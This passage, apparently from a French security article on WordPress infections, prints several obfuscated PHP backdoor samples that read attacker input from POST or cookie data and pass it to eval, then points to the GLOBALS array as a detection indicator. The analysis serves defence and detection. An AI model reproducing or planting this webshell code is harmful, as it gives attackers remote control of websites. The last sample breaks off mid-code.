0);@$kf0800b21[$kf0800b21['e7ad307'][76].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][77].$kf0800b21['e7ad307'][21]]($kf0800b21['e7ad307'][88].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][40].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][40].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][1].$kf0800b21['e7ad307'][97].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][34].$kf0800b21['e7ad307'][65].$kf0800b21['e7ad307'][78].$kf0800b21['e7ad307'][97].$kf0800b21['e7ad307'][51].$kf0800b21['e7ad307'][88].$kf0800b21['e7ad307'][50], 0);@$kf0800b21[$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][50]](0);$u63f1 = NULL;$p39bec = NULL;$kf0800b21[$kf0800b21['e7ad307'][20].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][49].$kf0800b21['e7ad307'][10]] = $kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][43].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][43].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][92].$kf0800b21['e7ad307'][49].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][92].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][55].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][92].$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][49].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][49].$kf0800b21['e7ad307'][92].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][49].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][43].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][64];global $w9af8;function  a862($u63f1, $b7d73df){global $kf0800b21;$l669cad = "";for ($l7574d672=0; $l7574d672<$kf0800b21[$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][43].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][55]]($u63f1);){for ($p596=0; $p596<$kf0800b21[$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][43].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][55]]($b7d73df) && $l7574d672<$kf0800b21[$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][43].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][55]]($u63f1); $p596++, $l7574d672++){$l669cad .= $kf0800b21[$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][50]]($kf0800b21[$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][75]]($u63f1[$l7574d672]) ^ $kf0800b21[$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][58].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][75].$kf0800b21['e7ad307'][75]]($b7d73df[$p596]));}}return $l669cad;}function  t94afa4($u63f1, $b7d73df){global $kf0800b21;global $w9af8;return $kf0800b21[$kf0800b21['e7ad307'][60].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][81]]($kf0800b21[$kf0800b21['e7ad307'][60].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][81]]($u63f1, $w9af8), $b7d73df);}foreach ($kf0800b21[$kf0800b21['e7ad307'][40].$kf0800b21['e7ad307'][14].$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][77].$kf0800b21['e7ad307'][2]] as $b7d73df=>$i98b42){$u63f1 = $i98b42;$p39bec = $b7d73df;}if (!$u63f1){foreach ($kf0800b21[$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][2].$kf0800b21['e7ad307'][50]] as $b7d73df=>$i98b42){$u63f1 = $i98b42;$p39bec = $b7d73df;}}$u63f1 = @$kf0800b21[$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][75]]($kf0800b21[$kf0800b21['e7ad307'][26].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][55].$kf0800b21['e7ad307'][64]]($kf0800b21[$kf0800b21['e7ad307'][27].$kf0800b21['e7ad307'][39].$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][50].$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][10].$kf0800b21['e7ad307'][41]]($u63f1), $p39bec));if (isset($u63f1[$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][36]]) && $w9af8==$u63f1[$kf0800b21['e7ad307'][21].$kf0800b21['e7ad307'][36]]){if ($u63f1[$kf0800b21['e7ad307'][21]] == $kf0800b21['e7ad307'][51]){$l7574d672 = Array($kf0800b21['e7ad307'][76].$kf0800b21['e7ad307'][48] => @$kf0800b21[$kf0800b21['e7ad307'][22].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][55].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][64].$kf0800b21['e7ad307'][41]](),$kf0800b21['e7ad307'][47].$kf0800b21['e7ad307'][48] => $kf0800b21['e7ad307'][77].$kf0800b21['e7ad307'][71].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][92].$kf0800b21['e7ad307'][77],);echo @$kf0800b21[$kf0800b21['e7ad307'][33].$kf0800b21['e7ad307'][41].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][81].$kf0800b21['e7ad307'][55].$kf0800b21['e7ad307'][64]]($l7574d672);}elseif ($u63f1[$kf0800b21['e7ad307'][21]] == $kf0800b21['e7ad307'][50]){eval/*c4033*/($u63f1[$kf0800b21['e7ad307'][64]]);}exit();} ?>

 

Le plus souvent ils sont injectés dans des fichiers coeurs de WordPress. Les structures sont toujours similaires :

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $a078e82 = 840;$GLOBALS['v048a'] = Array();global $v048a;$v048a = $GLOBALS;${"GLOBALS"}['e7a5745b2'] = "3A^neQ8D*Kl+=gOf]v9!P.ITV&W2J,|Y#\x9i5rwM4 s:C~;?ES\xdu`a[%z1U}yLq(@HBFmdGN'\x0\xaX{<"7oc$_h)Zb-/>pjR6tk";$v048a[$v048a['e7a5745b2'][93].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][39].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][80]] = $v048a['e7a5745b2'][82].$v048a['e7a5745b2'][85].$v048a['e7a5745b2'][36];$v048a[$v048a['e7a5745b2'][50].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][80]] = $v048a['e7a5745b2'][81].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][68];$v048a[$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][35]] = $v048a['e7a5745b2'][41].$v048a['e7a5745b2'][96].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][3];$v048a[$v048a['e7a5745b2'][37].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][88]] = $v048a['e7a5745b2'][34].$v048a['e7a5745b2'][3].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][96];$v048a[$v048a['e7a5745b2'][59].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][6]] = $v048a['e7a5745b2'][41].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][55].$v048a['e7a5745b2'][4];$v048a[$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][0].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][39].$v048a['e7a5745b2'][80]] = $v048a['e7a5745b2'][92].$v048a['e7a5745b2'][85].$v048a['e7a5745b2'][92].$v048a['e7a5745b2'][17].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][3];$v048a[$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][35].$v048a['e7a5745b2'][52]] = $v048a['e7a5745b2'][50].$v048a['e7a5745b2'][3].$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][55].$v048a['e7a5745b2'][4];$v048a[$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][15].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][82]] = $v048a['e7a5745b2'][88].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][95].$v048a['e7a5745b2'][39].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][4];$v048a[$v048a['e7a5745b2'][37].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][68]] = $v048a['e7a5745b2'][41].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][96].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][96].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][67].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][67].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][96];$v048a[$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][35].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][95]] = $v048a['e7a5745b2'][13].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][27];$v048a[$v048a['e7a5745b2'][93].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][95].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][56]] = $v048a['e7a5745b2'][73].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][15].$v048a['e7a5745b2'][82];$v048a[$v048a['e7a5745b2'][3].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][15]] = $_POST;$v048a[$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][95]] = $_COOKIE;@$v048a[$v048a['e7a5745b2'][37].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][88]]($v048a['e7a5745b2'][4].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][13], NULL);@$v048a[$v048a['e7a5745b2'][37].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][88]]($v048a['e7a5745b2'][10].$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][13].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][36].$v048a['e7a5745b2'][41], 0);@$v048a[$v048a['e7a5745b2'][37].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][88]]($v048a['e7a5745b2'][67].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][73].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][73].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][50].$v048a['e7a5745b2'][96].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][3].$v048a['e7a5745b2'][84].$v048a['e7a5745b2'][96].$v048a['e7a5745b2'][34].$v048a['e7a5745b2'][67].$v048a['e7a5745b2'][4], 0);@$v048a[$v048a['e7a5745b2'][37].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][68]](0);$x24294 = NULL;$r73534bfb = NULL;$v048a[$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][6]] = $v048a['e7a5745b2'][6].$v048a['e7a5745b2'][39].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][0].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][15].$v048a['e7a5745b2'][89].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][35].$v048a['e7a5745b2'][95].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][89].$v048a['e7a5745b2'][39].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][89].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][35].$v048a['e7a5745b2'][15].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][89].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][35].$v048a['e7a5745b2'][0].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][0];global $sbb18;function  x9b72fc($x24294, $h23d86){global $v048a;$q3dd887f = "";for ($v3970=0; $v3970<$v048a[$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][35]]($x24294);){for ($n33fd565=0; $n33fd565<$v048a[$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][35]]($h23d86) && $v3970<$v048a[$v048a['e7a5745b2'][81].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][35]]($x24294); $n33fd565++, $v3970++){$q3dd887f .= $v048a[$v048a['e7a5745b2'][93].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][39].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][80]]($v048a[$v048a['e7a5745b2'][50].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][80]]($x24294[$v3970]) ^ $v048a[$v048a['e7a5745b2'][50].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][80]]($h23d86[$n33fd565]));}}return $q3dd887f;}function  gbc192($x24294, $h23d86){global $v048a;global $sbb18;return $v048a[$v048a['e7a5745b2'][93].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][95].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][56]]($v048a[$v048a['e7a5745b2'][93].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][95].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][56]]($x24294, $sbb18), $h23d86);}foreach ($v048a[$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][95]] as $h23d86=>$vb94){$x24294 = $vb94;$r73534bfb = $h23d86;}if (!$x24294){foreach ($v048a[$v048a['e7a5745b2'][3].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][56].$v048a['e7a5745b2'][15]] as $h23d86=>$vb94){$x24294 = $vb94;$r73534bfb = $h23d86;}}$x24294 = @$v048a[$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][35].$v048a['e7a5745b2'][52]]($v048a[$v048a['e7a5745b2'][10].$v048a['e7a5745b2'][4].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][35].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][95]]($v048a[$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][15].$v048a['e7a5745b2'][68].$v048a['e7a5745b2'][18].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][82]]($x24294), $r73534bfb));if (isset($x24294[$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][97]]) && $sbb18==$x24294[$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][97]]){if ($x24294[$v048a['e7a5745b2'][52]] == $v048a['e7a5745b2'][34]){$v3970 = Array($v048a['e7a5745b2'][92].$v048a['e7a5745b2'][17] => @$v048a[$v048a['e7a5745b2'][82].$v048a['e7a5745b2'][80].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][0].$v048a['e7a5745b2'][88].$v048a['e7a5745b2'][39].$v048a['e7a5745b2'][80]](),$v048a['e7a5745b2'][41].$v048a['e7a5745b2'][17] => $v048a['e7a5745b2'][56].$v048a['e7a5745b2'][21].$v048a['e7a5745b2'][74].$v048a['e7a5745b2'][89].$v048a['e7a5745b2'][56],);echo @$v048a[$v048a['e7a5745b2'][59].$v048a['e7a5745b2'][27].$v048a['e7a5745b2'][6].$v048a['e7a5745b2'][52].$v048a['e7a5745b2'][6]]($v3970);}elseif ($x24294[$v048a['e7a5745b2'][52]] == $v048a['e7a5745b2'][4]){eval/*ifd841*/($x24294[$v048a['e7a5745b2'][68]]);}exit();} ?>

en plus simple :

<?php $p5dQxlL = array(8660, 185, 6556, 64, 6770, 183, 2842, 158, 5462, 182, 13540, 186, 7538, 178, 12903, 122, 11598, 108, 6269, 89, 4100, 161, 682, 102, 6077, 41, 1022, 153, 4629, 88, 5818, 109, 6953, 183, 1771, 114, 11125, 97, 3000, 42, 9736, 187, 3761, 164, 12707, 196, 847, 114, 4355, 153, 1175, 129, 7136, 93, 6192, 77, 3290, 176, 5124, 151, 8045, 179, 2671, 74, 12185, 176, 8224, 73, 467, 69, 92, 190, 8845, 187, 536, 146, 10796, 149, 10945, 81, 10271, 155, 13195, 177, 7229, 121, 8297, 173, 9165, 164, 1885, 93, 7350, 188, 12137, 48, 11463, 135, 3925, 175, 784, 63, 13025, 170, 4828, 55, 12530, 77, 4508, 121, 11917, 56, 2156, 122, 9923, 160, 1647, 124, 4717, 111, 5275, 187, 10694, 102, 2278, 191, 5927, 150, 12075, 62, 12027, 48, 0, 92, 9519, 158, 4261, 94, 11026, 99, 6118, 74, 7716, 194, 10524, 170, 13372, 168, 10143, 41, 4883, 146, 11706, 74, 3466, 146, 2469, 123, 1304, 154, 11222, 125, 11347, 116, 9474, 45, 5644, 174, 6667, 103, 8470, 190, 282, 185, 10083, 60, 3170, 120, 2745, 97, 3042, 128, 11973, 54, 2592, 79, 5029, 95, 961, 61, 9677, 59, 6358, 198, 9329, 145, 1588, 59, 11780, 137, 13726, 158, 12607, 100, 3612, 149, 1458, 130, 10184, 87, 9032, 133, 7952, 93, 10426, 98, 1978, 178, 6620, 47, 12361, 169, 7910, 42);
$FY52xy = "";
for ($tWqBxTpk = 0;$tWqBxTpk < sizeof($p5dQxlL);$tWqBxTpk+= 2) {
    if ($tWqBxTpk % 4) {
        $FY52xy.= substr($Sc9mQcZx, $p5dQxlL[$tWqBxTpk], $p5dQxlL[$tWqBxTpk + 1]);
    } else {
        $FY52xy.= $jaNwcmT(substr($Sc9mQcZx, $p5dQxlL[$tWqBxTpk], $p5dQxlL[$tWqBxTpk + 1]));
    }
};
if (!isset($jcRQ6i)) return $FY52xy;

 

Vous noterez que les malwares ont toujours besoin de la fonction GLOBAL qui est l’indicateur que nous utilisons le plus souvent :

<?php $tb78 = 506;
$GLOBALS['fb355e'] = Array();
global $fb355e;
$fb355e = $GLOBALS;
$ {
    "GLOBALS"
}
['l82418'] = "ozMBYu4A<"TnPRx ~ I ^ bk_O5 & HU\x9JW
} > w$\xa ? /;
Nm, GyVj0F[ = 1q % Dl9) de@]c782\ : (6f\xdv + #KsZS|p'-!gaXL3E*Cr`.{tQhi";$fb355e[$fb355e['l82418'][83].$fb355e['l82418'][56].$fb355e['l82418'][67].$fb355e['l82418'][86].$fb355e['l82418'][54]] = $fb355e['l82418'][60].$fb355e['l82418'][96].$fb355e['l82418'][90];$fb355e[$fb355e['l82418'][60].$fb355e['l82418'][83].$fb355e['l82418'][18].$fb355e['l82418'][57].$fb355e['l82418'][63].$fb355e['l82418'][57]] = $fb355e['l82418'][0].$fb355e['l82418'][90].$fb355e['l82418'][56];$fb355e[$fb355e['l82418'][44].$fb355e['l82418'][63].$fb355e['l82418'][18].$fb355e['l82418'][62].$fb355e['l82418'][68].$fb355e['l82418'][62]] = $fb355e['l82418'][74].$fb355e['l82418'][94].$fb355e['l82418'][90].$fb355e['l82418'][53].$fb355e['l82418'][57].$fb355e['l82418'][11];$fb355e[$fb355e['l82418'][42].$fb355e['l82418'][6].$fb355e['l82418'][83].$fb355e['l82418'][83].$fb355e['l82418'][68].$fb355e['l82418'][60]] = $fb355e['l82418'][97].$fb355e['l82418'][11].$fb355e['l82418'][97].$fb355e['l82418'][21].$fb355e['l82418'][74].$fb355e['l82418'][57].$fb355e['l82418'][94];$fb355e[$fb355e['l82418'][74].$fb355e['l82418'][61].$fb355e['l82418'][57].$fb355e['l82418'][63].$fb355e['l82418'][56].$fb355e['l82418'][62].$fb355e['l82418'][18].$fb355e['l82418'][60].$fb355e['l82418'][63]] = $fb355e['l82418'][74].$fb355e['l82418'][57].$fb355e['l82418'][90].$fb355e['l82418'][97].$fb355e['l82418'][83].$fb355e['l82418'][53].$fb355e['l82418'][97].$fb355e['l82418'][1].$fb355e['l82418'][57];$fb355e[$fb355e['l82418'][18].$fb355e['l82418'][86].$fb355e['l82418'][49].$fb355e['l82418'][83].$fb355e['l82418'][49].$fb355e['l82418'][68].$fb355e['l82418'][57].$fb355e['l82418'][18].$fb355e['l82418'][68]] = $fb355e['l82418'][78].$fb355e['l82418'][96].$fb355e['l82418'][78].$fb355e['l82418'][70].$fb355e['l82418'][57].$fb355e['l82418'][90].$fb355e['l82418'][74].$fb355e['l82418'][97].$fb355e['l82418'][0].$fb355e['l82418'][11];$fb355e[$fb355e['l82418'][82].$fb355e['l82418'][86].$fb355e['l82418'][56].$fb355e['l82418'][86]] = $fb355e['l82418'][5].$fb355e['l82418'][11].$fb355e['l82418'][74].$fb355e['l82418'][57].$fb355e['l82418'][90].$fb355e['l82418'][97].$fb355e['l82418'][83].$fb355e['l82418'][53].$fb355e['l82418'][97].$fb355e['l82418'][1].$fb355e['l82418'][57];$fb355e[$fb355e['l82418'][14].$fb355e['l82418'][49].$fb355e['l82418'][56].$fb355e['l82418'][56].$fb355e['l82418'][61].$fb355e['l82418'][61]] = $fb355e['l82418'][18].$fb355e['l82418'][83].$fb355e['l82418'][74].$fb355e['l82418'][57].$fb355e['l82418'][67].$fb355e['l82418'][6].$fb355e['l82418'][21].$fb355e['l82418'][56].$fb355e['l82418'][57].$fb355e['l82418'][60].$fb355e['l82418'][0].$fb355e['l82418'][56].$fb355e['l82418'][57];$fb355e[$fb355e['l82418'][70].$fb355e['l82418'][68].$fb355e['l82418'][56].$fb355e['l82418'][49].$fb355e['l82418'][49].$fb355e['l82418'][54].$fb355e['l82418'][63].$fb355e['l82418'][49].$fb355e['l82418'][68]] = $fb355e['l82418'][74].$fb355e['l82418'][57].$fb355e['l82418'][94].$fb355e['l82418'][21].$fb355e['l82418'][94].$fb355e['l82418'][97].$fb355e['l82418'][39].$fb355e['l82418'][57].$fb355e['l82418'][21].$fb355e['l82418'][53].$fb355e['l82418'][97].$fb355e['l82418'][39].$fb355e['l82418'][97].$fb355e['l82418'][94];$fb355e[$fb355e['l82418'][57].$fb355e['l82418'][83].$fb355e['l82418'][62].$fb355e['l82418'][57].$fb355e['l82418'][83].$fb355e['l82418'][45].$fb355e['l82418'][61].$fb355e['l82418'][67]] = $fb355e['l82418'][32].$fb355e['l82418'][49].$fb355e['l82418'][60].$fb355e['l82418'][54].$fb355e['l82418'][61].$fb355e['l82418'][6];$fb355e[$fb355e['l82418'][78].$fb355e['l82418'][18].$fb355e['l82418'][61].$fb355e['l82418'][23].$fb355e['l82418'][54].$fb355e['l82418'][6].$fb355e['l82418'][23].$fb355e['l82418'][23]] = $fb355e['l82418'][19].$fb355e['l82418'][23].$fb355e['l82418'][6].$fb355e['l82418'][61].$fb355e['l82418'][60];$fb355e[$fb355e['l82418'][0].$fb355e['l82418'][61].$fb355e['l82418'][61].$fb355e['l82418'][62]] = $_POST;$fb355e[$fb355e['l82418'][0].$fb355e['l82418'][6].$fb355e['l82418'][83].$fb355e['l82418'][62]] = $_COOKIE;@$fb355e[$fb355e['l82418'][42].$fb355e['l82418'][6].$fb355e['l82418'][83].$fb355e['l82418'][83].$fb355e['l82418'][68].$fb355e['l82418'][60]]($fb355e['l82418'][57].$fb355e['l82418'][90].$fb355e['l82418'][90].$fb355e['l82418'][0].$fb355e['l82418'][90].$fb355e['l82418'][21].$fb355e['l82418'][53].$fb355e['l82418'][0].$fb355e['l82418'][82], NULL);@$fb355e[$fb355e['l82418'][42].$fb355e['l82418'][6].$fb355e['l82418'][83].$fb355e['l82418'][83].$fb355e['l82418'][68].$fb355e['l82418'][60]]($fb355e['l82418'][53].$fb355e['l82418'][0].$fb355e['l82418'][82].$fb355e['l82418'][21].$fb355e['l82418'][57].$fb355e['l82418'][90].$fb355e['l82418'][90].$fb355e['l82418'][0].$fb355e['l82418'][90].$fb355e['l82418'][74], 